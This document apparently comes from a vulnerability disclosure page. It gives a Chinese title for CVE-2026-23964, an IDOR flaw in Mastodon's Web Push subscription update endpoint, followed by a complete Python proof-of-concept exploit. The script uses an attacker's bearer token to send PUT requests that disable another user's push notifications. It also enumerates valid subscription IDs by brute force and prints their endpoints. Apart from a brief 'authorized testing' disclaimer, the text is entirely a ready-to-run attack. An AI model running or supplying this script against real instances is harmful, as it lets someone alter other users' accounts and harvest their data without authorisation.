CVE-2026-23964: Mastodon Web Push订阅IDOR漏洞允许修改他人订阅设置

#!/usr/bin/env python3 """ CVE-2026-23964 PoC - Mastodon IDOR in Web Push Subscription Update Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys def exploit_idor(target_url, auth_token, target_subscription_id): """ Exploit IDOR vulnerability in Mastodon push subscription update endpoint Args: target_url: Base URL of the Mastodon instance auth_token: Authentication token for the attacker account target_subscription_id: Numeric subscription ID to target """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' } # Malicious payload to modify victim's notification settings payload = { 'data': { 'policy': 'none', # Disable all notifications 'alerts': { 'follow': False, 'favourite': False, 'reblog': False, 'mention': False, 'poll': False } } } endpoint = f'{target_url}/api/v1/push/subscription/{target_subscription_id}' try: response = requests.put(endpoint, json=payload, headers=headers) if response.status_code == 200: print(f'[+] Successfully modified subscription {target_subscription_id}') print(f'[+] Response: {response.json()}') return True else: print(f'[-] Failed with status code: {response.status_code}') print(f'[-] Response: {response.text}') return False except requests.exceptions.RequestException as e: print(f'[-] Request error: {e}') return False def enumerate_subscriptions(target_url, auth_token, start_id=1, end_id=1000): """ Enumerate valid subscription IDs by brute-forcing """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' } valid_ids = [] for sub_id in range(start_id, end_id + 1): endpoint = f'{target_url}/api/v1/push/subscription/{sub_id}' try: response = requests.get(endpoint, headers=headers) if response.status_code == 200: data = response.json() print(f'[+] Found valid subscription ID: {sub_id}') print(f' Endpoint: {data.get("endpoint", "N/A")}') valid_ids.append(sub_id) except: continue return valid_ids if __name__ == '__main__': if len(sys.argv) < 4: print('Usage: python cve_2026_23964_poc.py <target_url> <auth_token> <subscription_id>') print('Example: python cve_2026_23964_poc.py https://mastodon.example.com token123 456') sys.exit(1) target = sys.argv[1] token = sys.argv[2] sub_id = int(sys.argv[3]) print(f'[*] Targeting Mastodon instance: {target}') print(f'[*] Attempting to modify subscription ID: {sub_id}') exploit_idor(target, token, sub_id)